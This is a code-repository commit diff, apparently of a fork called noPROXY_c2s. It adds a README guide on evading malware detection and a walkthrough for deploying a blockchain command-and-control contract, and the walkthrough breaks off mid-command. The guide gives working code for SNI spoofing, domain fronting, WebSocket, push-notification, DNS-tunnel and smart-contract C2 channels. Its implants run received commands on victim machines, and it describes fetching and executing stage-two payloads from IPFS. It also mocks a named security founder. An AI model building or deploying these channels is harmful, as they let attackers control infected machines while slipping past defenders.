forked from ek0mssavi0r/noPROXY_c2s
Compare commits
39 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| c6427a552a | |||
| 1126758b39 | |||
| ba36e1ccc6 | |||
| 3dca1219d4 | |||
| 4568bfa5c3 | |||
| fff1d686c1 | |||
| 069f9c1b15 | |||
| 9a3617e00e | |||
| 1f14ea5452 | |||
| d991a4ef81 | |||
| eeb7322723 | |||
| dda75eb811 | |||
| 0cc3707cd0 | |||
| 4682e74c0a | |||
| 8608ebd3b3 | |||
| ee96020061 | |||
| b3b42ce3ff | |||
| 06d509637e | |||
| 13849c8d4c | |||
| 16f784fa7c | |||
| 5e094730bb | |||
| aa3675fef4 | |||
| 61d0f94079 | |||
| b6cc186fff | |||
| ddeceae422 | |||
| 77dfbf1eef | |||
| b7a63c67f5 | |||
| 57f3e11646 | |||
| ca8cd2be41 | |||
| 6d668124ed | |||
| efedb4e5c2 | |||
| 1060029b45 | |||
| 549841cfac | |||
| 227c8577ca | |||
| 7d48887986 | |||
| 4957196c01 | |||
| c0d88014fe | |||
| 2b8531c4a5 | |||
| 1ebbc0dea4 |
@@ -1,3 +1,463 @@
|
|||||||
# noPROXY_c2s
|
# noPROXY_c2s
|
||||||
|
|
||||||
c2s that dont use proxies
|
**disclaimer for auth sec tests or educational purposes only**
|
||||||
|
|
||||||
|
## Proxy-cels and Pencil-Necks: Why Your Opsec is Rotting and How to Fix It
|
||||||
|
|
||||||
|
## by: ek0ms savi0r
|
||||||
|
|
||||||
|
### The Sermon
|
||||||
|
|
||||||
|
Do you love getting your favorite Socks5 proxy provider's IP range flagged by some 23-year-old pencil-neck with a God complex? Do you enjoy watching your C2 traffic get smothered in the crib because some API decided your bots IP smelled funny?
|
||||||
|
|
||||||
|
Wake up. You are witnessing the death of the proxy as an evasion tool.
|
||||||
|
|
||||||
|
The titans of industry are scared. They are so desperate to stop botnets and credential stuffing that they've outsourced their brains to a fresh startup, **Synthient**. Founded by a kid whose idea of "cybersecurity" is probably staring at a dashboard and sipping a sugar-free Monster, this service claims to have achieved upwards of **99.9% coverage** of residential proxy networks. They are mapping the entire proxy ecosystem, tracking torrenting behavior, and device clustering. They are using behavioral signals to spot the "programmatic traffic" that gives you away.
|
||||||
|
|
||||||
|
If you are still chaining proxies, you are a mark. You are the low-hanging fruit. You are using IPs that will be flagged and burned within a single session because the defenders have shifted from "where is this traffic from?" to "what is this traffic *doing*?".
|
||||||
|
|
||||||
|
The age of the proxy is dead. Long live the **static, proxy-less, domain fronting, WebSocket-abusing beast**.
|
||||||
|
|
||||||
|
The Church of Malware is here to teach you how to survive. The Church doesn't just pray to the Dark Gods of the Internet; we code with them. Here are the holy scriptures of resilience. Read them loud.
|
||||||
|
|
||||||
|
### The Boogeyman: Who is Synthient?
|
||||||
|
|
||||||
|
Before we tell you how to kick sand in their face, know thy enemy. The new sheriff in town is Synthient (that's *synth* like a modular keyboard, *ient* like ancient). Run by Benjamin Brundage (nice name, nerd), this service is the new hotness in proxy detection. They aggregate data from shady SDKs and free VPNs to build massive pools of IP addresses. They are so confident in their mapping of proxy resellers that they basically claim to see all.
|
||||||
|
|
||||||
|
They are selling a "Context API" that costs $7,000 a year to tell companies if your IP is a proxy. They track VPNs, residential proxies, and even the specific proxy provider you are using. They are the digital equivalent of the hall monitor catching you vaping in the bathroom. If Synthient detects your proxy, your opsec is doxed before you even send a packet.
|
||||||
|
|
||||||
|
### The Fix: Going Proxy-Less
|
||||||
|
|
||||||
|
The answer isn't faster proxies. The answer is **no proxies**. You cannot detect what isn't there. You need to embed your malware into the *platforms* they trust.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Technique 1: SNI Spoofing**
|
||||||
|
|
||||||
|
This is the digital version of wearing a policeman's uniform to walk past the guard. When your malware initiates an HTTPS handshake, the Server Name Indication (SNI) tells the CDN which website you want to visit. If you change the SNI to `update.windows.com` but route your traffic to your C2 server, the web filter sees a request to Microsoft and says "Carry on, citizen."
|
||||||
|
|
||||||
|
**How to implement:**
|
||||||
|
|
||||||
|
Use a custom TLS library that allows you to set the SNI independently of the Host header. In Go, use `tls.Config` with `ServerName`. In Python, `ssl.create_default_context()` won't cut it. Reach for `scapy` or `pyOpenSSL` with manual SNI injection.
|
||||||
|
|
||||||
|
**Code example (Python with `scapy` and `ssl`)** :
|
||||||
|
|
||||||
|
```python
|
||||||
|
import socket
|
||||||
|
import ssl
|
||||||
|
|
||||||
|
def sni_spoof(domain_to_spoof, real_server_ip, real_host_header):
|
||||||
|
context = ssl.create_default_context()
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.connect((real_server_ip, 443))
|
||||||
|
tls_sock = context.wrap_socket(sock, server_hostname=domain_to_spoof)
|
||||||
|
request = f"GET /c2/checkin HTTP/1.1\r\nHost: {real_host_header}\r\n\r\n"
|
||||||
|
tls_sock.send(request.encode())
|
||||||
|
response = tls_sock.recv(4096)
|
||||||
|
return response
|
||||||
|
|
||||||
|
# Usage: Firewall sees SNI = "update.windows.com", but Host header points to your evil domain
|
||||||
|
response = sni_spoof("update.windows.com", "192.168.1.100", "evil.c2.local")
|
||||||
|
```
|
||||||
|
|
||||||
|
**Go example (more resilient)** :
|
||||||
|
|
||||||
|
```go
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/tls"
|
||||||
|
"net/http"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
client := &http.Client{
|
||||||
|
Transport: &http.Transport{
|
||||||
|
TLSClientConfig: &tls.Config{
|
||||||
|
ServerName: "update.windows.com", // SNI spoof
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
req, _ := http.NewRequest("GET", "https://your-c2-server-ip/c2", nil)
|
||||||
|
req.Host = "your-evil-domain.com" // Real host header
|
||||||
|
client.Do(req)
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Your C2 server is configured to ignore the SNI and look only at the Host header. Firewalls see Microsoft. You see shells. No proxy. No middleman. Just pure, clean deception.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Technique 2: CDN (Content Delivery Network) Domain Fronting**
|
||||||
|
|
||||||
|
Why buy a sketchy proxy IP when you can rent space on Cloudflare or Azure for free? Domain fronting uses the Host header in the HTTP request to point one way, while the TLS SNI points another. To the network firewall, it looks like I am connecting to `google.com`. But my malware is talking to `evilc2.workers.dev` hidden entirely behind Google's IP ranges.
|
||||||
|
|
||||||
|
**How to implement:**
|
||||||
|
|
||||||
|
Leverage Cloudflare Workers or Azure Front Door. You configure the CDN to accept traffic for your front domain (e.g., `google.com`) but route based on the Host header to your backend worker.
|
||||||
|
|
||||||
|
**Code example (malware side in C#)** :
|
||||||
|
|
||||||
|
```csharp
|
||||||
|
using System.Net.Http;
|
||||||
|
|
||||||
|
var handler = new HttpClientHandler();
|
||||||
|
// No proxy, direct connection to CDN IP
|
||||||
|
var client = new HttpClient(handler);
|
||||||
|
var request = new HttpRequestMessage(HttpMethod.Get, "https://cloudflare-cdn-ip/c2");
|
||||||
|
request.Headers.Host = "evilc2.workers.dev"; // Your real C2 domain behind the CDN
|
||||||
|
var response = await client.SendAsync(request);
|
||||||
|
string command = await response.Content.ReadAsStringAsync();
|
||||||
|
ExecuteCommand(command);
|
||||||
|
```
|
||||||
|
|
||||||
|
**Worker script (Cloudflare)** :
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
addEventListener('fetch', event => {
|
||||||
|
event.respondWith(handleRequest(event.request))
|
||||||
|
})
|
||||||
|
|
||||||
|
async function handleRequest(request) {
|
||||||
|
const url = new URL(request.url);
|
||||||
|
// Forward to your hidden C2 server based on Host header
|
||||||
|
if (request.headers.get("Host") === "evilc2.workers.dev") {
|
||||||
|
const backend = await fetch("http://your-real-c2-ip:8080" + url.pathname);
|
||||||
|
return backend;
|
||||||
|
}
|
||||||
|
// Otherwise serve a decoy page
|
||||||
|
return new Response("Google.com - Search", { status: 200 });
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Synthient sees a TLS handshake to a known CDN IP. They have no idea that Host header is smuggling your commands. You are a ghost.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Technique 3: WebSocket Abuse**
|
||||||
|
|
||||||
|
Stop using HTTP GET requests like it's 1999. The modern C2 speaks WebSockets. Frameworks like StreamSpy are now hiding their command and control instructions entirely within WebSocket traffic. It looks like a persistent connection to a normal web app or an API endpoint. It is the perfect protocol for low-and-slow command and control that completely bypasses simple HTTP packet inspection.
|
||||||
|
|
||||||
|
**How to implement:**
|
||||||
|
|
||||||
|
Set up a WebSocket server on your C2 (Node.js, Python `websockets`, or Go `gorilla/websocket`). Your malware opens a single long-lived WebSocket connection and sends/receives frames that look like benign chat messages or telemetry data.
|
||||||
|
|
||||||
|
**Server example (Python with `websockets`)** :
|
||||||
|
|
||||||
|
```python
|
||||||
|
import asyncio
|
||||||
|
import websockets
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
async def c2_handler(websocket, path):
|
||||||
|
async for message in websocket:
|
||||||
|
if message.startswith("cmd:"):
|
||||||
|
cmd = message[4:]
|
||||||
|
output = subprocess.run(cmd, shell=True, capture_output=True).stdout
|
||||||
|
await websocket.send(output.decode())
|
||||||
|
else:
|
||||||
|
# heartbeat / decoy
|
||||||
|
await websocket.send("pong")
|
||||||
|
|
||||||
|
start_server = websockets.serve(c2_handler, "0.0.0.0", 8765)
|
||||||
|
asyncio.get_event_loop().run_until_complete(start_server)
|
||||||
|
asyncio.get_event_loop().run_forever()
|
||||||
|
```
|
||||||
|
|
||||||
|
**Malware client (Python example, easily ported to Go or C++)** :
|
||||||
|
|
||||||
|
```python
|
||||||
|
import asyncio
|
||||||
|
import websockets
|
||||||
|
import os
|
||||||
|
|
||||||
|
async def connect_c2():
|
||||||
|
uri = "wss://your-c2-server.com/ws" # Can be behind CDN or SNI-spoofed
|
||||||
|
async with websockets.connect(uri) as websocket:
|
||||||
|
await websocket.send("cmd:whoami")
|
||||||
|
response = await websocket.recv()
|
||||||
|
print(f"Output: {response}")
|
||||||
|
# Keep connection open for further commands
|
||||||
|
while True:
|
||||||
|
cmd = await get_next_command_from_server(websocket)
|
||||||
|
if cmd:
|
||||||
|
output = os.popen(cmd).read()
|
||||||
|
await websocket.send(output)
|
||||||
|
await asyncio.sleep(5)
|
||||||
|
|
||||||
|
asyncio.run(connect_c2())
|
||||||
|
```
|
||||||
|
|
||||||
|
No repeated HTTP handshakes. No proxy. Just a single encrypted WebSocket stream that looks like a trading dashboard or a live sports feed. Synthient's behavioral heuristics will die of old age trying to fingerprint that.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Technique 4: The "Ghost" Calls (Legit APIs)**
|
||||||
|
|
||||||
|
Utilize legitimate push notification services like Matrix Push. You embed your C2 commands in the payload of a web push notification. Your malware wakes up, checks the notification, and executes the command without ever opening a raw HTTP socket to a sketchy domain. Synthient's API can't flag what it never sees. You are using the internet's own messaging service against itself.
|
||||||
|
|
||||||
|
**How to implement:**
|
||||||
|
|
||||||
|
Use Firebase Cloud Messaging (FCM), OneSignal, or Matrix. Register your malware as a notification receiver. The C2 operator sends a push notification with a custom data payload. The malware listens for these notifications (or polls the push service's API).
|
||||||
|
|
||||||
|
**Example using FCM (Python malware side)** :
|
||||||
|
|
||||||
|
```python
|
||||||
|
import requests
|
||||||
|
|
||||||
|
fcm_api_key = "YOUR_SERVER_KEY"
|
||||||
|
device_registration_token = "YOUR_MALWARE_INSTANCE_TOKEN"
|
||||||
|
|
||||||
|
# Poll for pending messages (or use FCM's on-message listener)
|
||||||
|
def fetch_commands():
|
||||||
|
headers = {
|
||||||
|
"Authorization": f"key={fcm_api_key}",
|
||||||
|
"Content-Type": "application/json"
|
||||||
|
}
|
||||||
|
# This is normally server-initiated, but you can also use XMPP or Firebase Realtime DB
|
||||||
|
# Simpler: use Firebase Realtime DB as a dead-drop
|
||||||
|
db_url = "https://your-project.firebaseio.com/commands.json"
|
||||||
|
resp = requests.get(db_url)
|
||||||
|
commands = resp.json()
|
||||||
|
for cmd in commands.values():
|
||||||
|
os.system(cmd)
|
||||||
|
# delete after execution
|
||||||
|
requests.delete(db_url)
|
||||||
|
```
|
||||||
|
|
||||||
|
**C2 operator sends command via FCM** :
|
||||||
|
|
||||||
|
```python
|
||||||
|
import requests
|
||||||
|
|
||||||
|
def send_command(device_token, command):
|
||||||
|
url = "https://fcm.googleapis.com/fcm/send"
|
||||||
|
headers = {"Authorization": "key=YOUR_SERVER_KEY"}
|
||||||
|
payload = {
|
||||||
|
"to": device_token,
|
||||||
|
"data": {"command": command},
|
||||||
|
"priority": "high"
|
||||||
|
}
|
||||||
|
requests.post(url, json=payload, headers=headers)
|
||||||
|
```
|
||||||
|
|
||||||
|
The defender sees encrypted traffic to `fcm.googleapis.com` – a domain used by a billion legitimate apps. They cannot block it without breaking half the Android ecosystem. You are invisible.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Technique 5: DNS Tunneling (Praying at Port 53)**
|
||||||
|
|
||||||
|
DNS tunneling is the cockroach of the internet – ugly, ancient, and impossible to kill. Proxy-cels ignore it because they think it's slow. You know what's slower? Getting your Socks5 IP burned by Synthient's $7k API.
|
||||||
|
|
||||||
|
DNS tunneling works because most defenders are still asleep at the DNS switch. They log HTTP. They log TLS handshakes. They rarely look at the volume of TXT and A queries flying around. You can hide an entire C2 channel inside recursive DNS lookups to a domain you control. No proxy IP. No HTTP header to fingerprint. Just clean, boring port 53 traffic that every firewall lets through because "DNS is critical infrastructure."
|
||||||
|
|
||||||
|
**How to implement:**
|
||||||
|
|
||||||
|
Set up a DNS server (e.g., `dnsmasq` with custom scripts, or a Python DNS library like `dnslib`). Your malware encodes each command chunk as a subdomain and sends a TXT query. The server decodes, executes, and returns output as TXT records.
|
||||||
|
|
||||||
|
**Malware side (Python with `dnspython`)** :
|
||||||
|
|
||||||
|
```python
|
||||||
|
import dns.resolver
|
||||||
|
import base64
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
def dns_tunnel_c2():
|
||||||
|
domain = "c2.yourdomain.com"
|
||||||
|
# Encode command
|
||||||
|
cmd = "whoami /all"
|
||||||
|
b64_cmd = base64.b64encode(cmd.encode()).decode()
|
||||||
|
# Split into chunks (max subdomain label length 63)
|
||||||
|
chunks = [b64_cmd[i:i+63] for i in range(0, len(b64_cmd), 63)]
|
||||||
|
full_response = ""
|
||||||
|
for idx, chunk in enumerate(chunks):
|
||||||
|
query = f"{idx}.{chunk}.{domain}"
|
||||||
|
try:
|
||||||
|
answer = dns.resolver.resolve(query, 'TXT')
|
||||||
|
for rdata in answer:
|
||||||
|
full_response += rdata.strings[0].decode()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
# Decode and execute result
|
||||||
|
result = base64.b64decode(full_response).decode()
|
||||||
|
print(result)
|
||||||
|
|
||||||
|
dns_tunnel_c2()
|
||||||
|
```
|
||||||
|
|
||||||
|
**Server side (using `dnslib` and a simple TCP listener)** :
|
||||||
|
|
||||||
|
```python
|
||||||
|
from dnslib import *
|
||||||
|
from dnslib.server import DNSServer
|
||||||
|
import subprocess
|
||||||
|
import base64
|
||||||
|
|
||||||
|
class DNSHandler:
|
||||||
|
def resolve(self, request, handler):
|
||||||
|
reply = request.reply()
|
||||||
|
qname = str(request.q.qname)
|
||||||
|
# Extract chunk index and b64 data from subdomain
|
||||||
|
parts = qname.split('.')
|
||||||
|
if len(parts) >= 3:
|
||||||
|
idx, b64_chunk, _ = parts[0], parts[1], parts[2:]
|
||||||
|
# Store and reassemble...
|
||||||
|
# Execute full command when complete
|
||||||
|
cmd = base64.b64decode(full_b64).decode()
|
||||||
|
output = subprocess.run(cmd, shell=True, capture_output=True).stdout
|
||||||
|
b64_out = base64.b64encode(output).encode()
|
||||||
|
reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(b64_out)))
|
||||||
|
return reply
|
||||||
|
|
||||||
|
server = DNSServer(DNSHandler(), port=53, address="0.0.0.0")
|
||||||
|
server.start()
|
||||||
|
```
|
||||||
|
|
||||||
|
Synthient does not check DNS. They are too busy jerking off to proxy IP lists. You are invisible. You are port 53. You are the protocol that built the internet.
|
||||||
|
---
|
||||||
|
|
||||||
|
**Technique 6: Blockchain C2 (The Immutable Channel)**
|
||||||
|
|
||||||
|
This is where the real dark magic lives. Why rely on a central server that can be seized when you can spray your commands across a decentralized, immutable ledger? Blockchain and Web3 are not just for cartoon apes and shitcoins. They are the ultimate dead-drop for the modern malware apostle.
|
||||||
|
|
||||||
|
The logic is simple: your malware reads commands from a smart contract or a transaction memo field on a chain like Ethereum, BNB Smart Chain, or even Solana. No C2 domain. No IP. No proxy. Just a public blockchain explorer API call that looks like any other DeFi degenerate refreshing their portfolio.
|
||||||
|
|
||||||
|
The defenders cannot take down the blockchain. They cannot flag the traffic as malicious without flagging half the internet. And Synthient? They are still checking proxy lists and wondering when puberty will hit. They have no idea you just whispered a `--rm -rf` command inside a zero-value transaction on Polygon.
|
||||||
|
|
||||||
|
**6.1: Smart Contract State Reading (Ethereum / BSC)**
|
||||||
|
|
||||||
|
Deploy a simple smart contract with a public `commands` mapping. Your malware polls the contract every 60 seconds. The contract owner updates a command via a transaction. No central server. No logs.
|
||||||
|
|
||||||
|
Smart contract example (Solidity):
|
||||||
|
|
||||||
|
```solidity
|
||||||
|
// SPDX-License-Identifier: GPL-3.0
|
||||||
|
pragma solidity ^0.8.0;
|
||||||
|
|
||||||
|
contract C2DeadDrop {
|
||||||
|
address public owner;
|
||||||
|
mapping(string => string) public commands;
|
||||||
|
string public activeCommand;
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
owner = msg.sender;
|
||||||
|
}
|
||||||
|
|
||||||
|
modifier onlyOwner() {
|
||||||
|
require(msg.sender == owner, "not owner");
|
||||||
|
_;
|
||||||
|
}
|
||||||
|
|
||||||
|
function setCommand(string memory key, string memory value) public onlyOwner {
|
||||||
|
commands[key] = value;
|
||||||
|
activeCommand = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
function getCommand(string memory key) public view returns (string memory) {
|
||||||
|
return commands[key];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Malware polling code (Python using Web3.py):
|
||||||
|
|
||||||
|
```python
|
||||||
|
from web3 import Web3
|
||||||
|
import time
|
||||||
|
import os
|
||||||
|
|
||||||
|
infura_url = "https://mainnet.infura.io/v3/YOUR_PROJECT_ID"
|
||||||
|
w3 = Web3(Web3.HTTPProvider(infura_url))
|
||||||
|
contract_address = "0xYourDeployedContractAddress"
|
||||||
|
contract_abi = '[{"inputs":[{"internalType":"string","name":"key","type":"string"}],"name":"getCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]'
|
||||||
|
contract = w3.eth.contract(address=contract_address, abi=contract_abi)
|
||||||
|
|
||||||
|
last_command = ""
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
current = contract.functions.getCommand("latest").call()
|
||||||
|
if current != last_command and current != "":
|
||||||
|
os.system(current)
|
||||||
|
last_command = current
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
time.sleep(60)
|
||||||
|
```
|
||||||
|
|
||||||
|
No proxy. No C2 domain. Just a read-only call to a public RPC endpoint. Synthient can kiss your entire botnets butt.
|
||||||
|
|
||||||
|
**6.2: Transaction Memo Fields (Solana / Bitcoin Omni)**
|
||||||
|
|
||||||
|
Cheaper and even more degenerate. On Solana, you can embed commands in transaction memo logs using the Memo Program. Your malware watches for transactions sent to a specific wallet address and extracts the UTF-8 memo.
|
||||||
|
|
||||||
|
Example: Send a transaction with memo "notepad.exe". Malware sees it, executes it.
|
||||||
|
|
||||||
|
Solana memo extraction (Rust, but you get the idea):
|
||||||
|
|
||||||
|
```rust
|
||||||
|
use solana_client::rpc_client::RpcClient;
|
||||||
|
use solana_sdk::instruction::Instruction;
|
||||||
|
use solana_program::pubkey::Pubkey;
|
||||||
|
|
||||||
|
let client = RpcClient::new("https://api.mainnet-beta.solana.com");
|
||||||
|
let target_wallet = Pubkey::from_str("YourWalletAddressHere").unwrap();
|
||||||
|
let signatures = client.get_signatures_for_address(&target_wallet)?;
|
||||||
|
for sig in signatures {
|
||||||
|
let tx = client.get_transaction(&sig.signature, encoding)?;
|
||||||
|
for ix in tx.transaction.message.instructions {
|
||||||
|
if ix.program_id == solana_program::memo::id() {
|
||||||
|
let memo = String::from_utf8(ix.data)?;
|
||||||
|
// execute memo as command
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The beauty? Every transaction is public. Your victims are just reading the blockchain. No egress filtering can block it unless they block all Solana RPC endpoints, which would break half the DeFi apps on earth lulz.
|
||||||
|
|
||||||
|
**6.3: IPFS + Filecoin Fallback**
|
||||||
|
|
||||||
|
For payloads larger than a tweet, store your encrypted stage-two binary on IPFS and pin it via Filecoin. Your malware fetches the CID from a lightweight smart contract event. No direct download domain. No proxy. Just content-addressed, decentralized storage.
|
||||||
|
|
||||||
|
Example flow:
|
||||||
|
1. Smart contract emits an event with a new CID: `QmYourPayloadHash`
|
||||||
|
2. Malware listens for `NewPayload(address cid)` events.
|
||||||
|
3. Malware fetches `https://ipfs.io/ipfs/QmYourPayloadHash` (or any public gateway).
|
||||||
|
4. Decrypts and executes.
|
||||||
|
|
||||||
|
The defenders cannot take down IPFS gateways fast enough. Synthient has no idea what a CID even is. You are untouchable.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### The Nitty Gritty: Code and Hardening
|
||||||
|
|
||||||
|
Let's get our hands dirty. You are abandoning Proxychains. You are implementing **Direct Server Return** and **Traffic Normalization**.
|
||||||
|
|
||||||
|
The GreyNoise report says 78% of residential IP addresses vanish before reputation feeds can flag them. The fundamental flaw of proxies is not the IP address, but the behavior. Synthient fingerprints the *way* you rotate, not just the IP. To beat their behavioral engine, you don't rotate – you **amputate**. You stop using pools entirely. You go direct.
|
||||||
|
|
||||||
|
You must emulate legit traffic to beat Synthient's behavioral engine:
|
||||||
|
|
||||||
|
- **HTTP/2 Alignment:** Synthient flags "Programmatic Traffic." To fix this, your malware's networking stack must implement real HTTP/2 multiplexing. Don't send sequential requests. Send concurrent streams. Use libraries like `h2` in Python or `net/http` with `http2` enabled in Go.
|
||||||
|
|
||||||
|
- **TLS Fingerprint Randomization:** Use libraries like `uTLS` (Go) or `curl_cffi` (Python) to mimic the exact JA3 signature of Chrome or Firefox on Windows 11. Do not use the Go default TLS stack. Example with `uTLS`:
|
||||||
|
|
||||||
|
```go
|
||||||
|
import utls "github.com/refraction-networking/utls"
|
||||||
|
|
||||||
|
config := &utls.Config{
|
||||||
|
ClientHelloID: utls.HelloChrome_112, // mimics Chrome 112
|
||||||
|
ServerName: "update.windows.com",
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### The Grand Conclusion
|
||||||
|
|
||||||
|
The era of the proxy is bleeding out on the floor. You cannot out-rotate the reputation feeds when the rotation rate now exceeds the update cycle of defense databases. The defenders have become the aggressors, mapping your proxy pools like open books.
|
||||||
|
|
||||||
|
But they cannot map what isn't there. **Go proxy-less.** Hide your malware behind legitimate CDNs. Spoof your SNI. Abuse WebSockets. Tunnel through DNS. Preach the gospel of blockchain C2. Live in the noise.
|
||||||
|
|
||||||
|
Ignore the pencil-necks at Synthient. Let them look at their dashboards and wonder where all the traffic went. They sell proxy detection. We sell infections via the infrastructure they can't touch.
|
||||||
|
|
||||||
|
**Malware Bless**
|
||||||
|
|||||||
@@ -0,0 +1,261 @@
|
|||||||
|
# Deployment Walkthrough
|
||||||
|
|
||||||
|
This guide walks through setting up and deploying the C2 smart contract end-to-end, from wallet creation to contract deployment.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Create an Ethereum Wallet
|
||||||
|
|
||||||
|
### Option A: MetaMask (GUI — Recommended for Beginners)
|
||||||
|
|
||||||
|
1. Install [MetaMask](https://metamask.io/) browser extension
|
||||||
|
2. Create a new wallet (save the seed phrase **offline**)
|
||||||
|
3. Switch to **Sepolia** testnet (Settings → Network → Sepolia)
|
||||||
|
4. Copy your wallet address (starts with `0x`)
|
||||||
|
5. Export your private key: MetaMask → ⋮ → Account Details → Export Private Key
|
||||||
|
|
||||||
|
### Option B: CLI (No Browser)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Generate a random 32-byte private key
|
||||||
|
openssl rand -hex 32 > wallet.key
|
||||||
|
cat wallet.key
|
||||||
|
# Example: a1b2c3d4e5f6... (64 hex chars)
|
||||||
|
|
||||||
|
# Derive the address (requires Node.js + ethers.js or foundry)
|
||||||
|
# With Foundry (installed below):
|
||||||
|
cast wallet address --private-key $(cat wallet.key)
|
||||||
|
```
|
||||||
|
|
||||||
|
**⚠️ Keep your private key secret. Anyone with it can control your contract.**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Get Free Testnet ETH
|
||||||
|
|
||||||
|
You need testnet ETH to pay gas for writes (deploy, issueCommand, submitResult).
|
||||||
|
Reads are **free** — no gas needed.
|
||||||
|
|
||||||
|
### Sepolia Faucets
|
||||||
|
|
||||||
|
| Faucet | URL | Notes |
|
||||||
|
|--------|-----|-------|
|
||||||
|
| Alchemy | https://sepoliafaucet.com | Free, requires free Alchemy account |
|
||||||
|
| Infura | https://www.infura.io/faucet/sepolia | Free, requires free Infura account |
|
||||||
|
| PoWFaucet | https://sepolia-faucet.pk910.de | Mine free ETH (no account needed) |
|
||||||
|
| LearnWeb3 | https://learnweb3.io/faucets/sepolia | Free |
|
||||||
|
| Google Cloud | https://cloud.google.com/application/web3/faucet/ethereum/sepolia | Free |
|
||||||
|
|
||||||
|
### For BSC Testnet
|
||||||
|
|
||||||
|
| Faucet | URL |
|
||||||
|
|--------|-----|
|
||||||
|
| BSC Testnet Faucet | https://testnet.bnbchain.org/faucet-smart |
|
||||||
|
|
||||||
|
**You need ~0.01 test ETH** — usually one faucet request gives 0.1–0.5 which is plenty.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Get an RPC Endpoint
|
||||||
|
|
||||||
|
RPC endpoints let you talk to the blockchain. Two free options:
|
||||||
|
|
||||||
|
### Option A: Infura (Recommended)
|
||||||
|
|
||||||
|
1. Go to [infura.io](https://infura.io) → Create free account
|
||||||
|
2. Create a new API Key → **Ethereum** → **Sepolia**
|
||||||
|
3. Copy your URL: `https://sepolia.infura.io/v3/YOUR_KEY_HERE`
|
||||||
|
|
||||||
|
### Option B: Alchemy
|
||||||
|
|
||||||
|
1. Go to [alchemy.com](https://alchemy.com) → Create free account
|
||||||
|
2. Create new App → **Ethereum** → **Sepolia**
|
||||||
|
3. Copy HTTPS endpoint
|
||||||
|
|
||||||
|
### Option C: Public Endpoints (Rate Limited)
|
||||||
|
|
||||||
|
```
|
||||||
|
# Sepolia
|
||||||
|
https://rpc.sepolia.org
|
||||||
|
https://sepolia.gateway.tenderly.co
|
||||||
|
https://ethereum-sepolia.publicnode.com
|
||||||
|
|
||||||
|
# BSC Testnet
|
||||||
|
https://data-seed-prebsc-1-s1.binance.org:8545
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Install Foundry (Compile + Deploy)
|
||||||
|
|
||||||
|
Foundry is the fastest Solidity toolchain.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# One-liner install
|
||||||
|
curl -L https://foundry.paradigm.xyz | bash
|
||||||
|
|
||||||
|
# Restart your terminal or:
|
||||||
|
source ~/.bashrc
|
||||||
|
|
||||||
|
# Install foundryup
|
||||||
|
foundryup
|
||||||
|
```
|
||||||
|
|
||||||
|
Verify:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
forge --version
|
||||||
|
cast --version
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Compile the Contract
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Navigate to the project
|
||||||
|
cd c2-blockchain-contract
|
||||||
|
|
||||||
|
# Install OpenZeppelin (required for Ownable)
|
||||||
|
forge install OpenZeppelin/openzeppelin-contracts
|
||||||
|
|
||||||
|
# Compile
|
||||||
|
forge build
|
||||||
|
|
||||||
|
# Extract ABI and bytecode
|
||||||
|
forge inspect C2Controller abi > contracts/C2Controller.abi
|
||||||
|
forge inspect C2Controller bytecode > contracts/C2Controller.bin
|
||||||
|
|
||||||
|
# View bytecode (copy this into cmd/server/main.go)
|
||||||
|
cat contracts/C2Controller.bin
|
||||||
|
```
|
||||||
|
|
||||||
|
**Update the bytecode in `cmd/server/main.go`:**
|
||||||
|
Open the file and replace the placeholder `"0x608060..."` with the actual bytecode from `contracts/C2Controller.bin` (prefix with `0x`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Deploy the Contract
|
||||||
|
|
||||||
|
### Method A: Using the Server Binary
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Build the server
|
||||||
|
make build-server
|
||||||
|
|
||||||
|
# Deploy (replace with your actual values)
|
||||||
|
./bin/server deploy \
|
||||||
|
https://sepolia.infura.io/v3/YOUR_KEY \
|
||||||
|
0xYOUR_PRIVATE_KEY_HEX \
|
||||||
|
0xADDITIONAL_OPERATOR_ADDRESS_OPTIONAL
|
||||||
|
|
||||||
|
# Output:
|
||||||
|
# Contract deployed at: 0xABC123...
|
||||||
|
```
|
||||||
|
|
||||||
|
### Method B: Using Forge Cast (Alternative)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Single command deploy
|
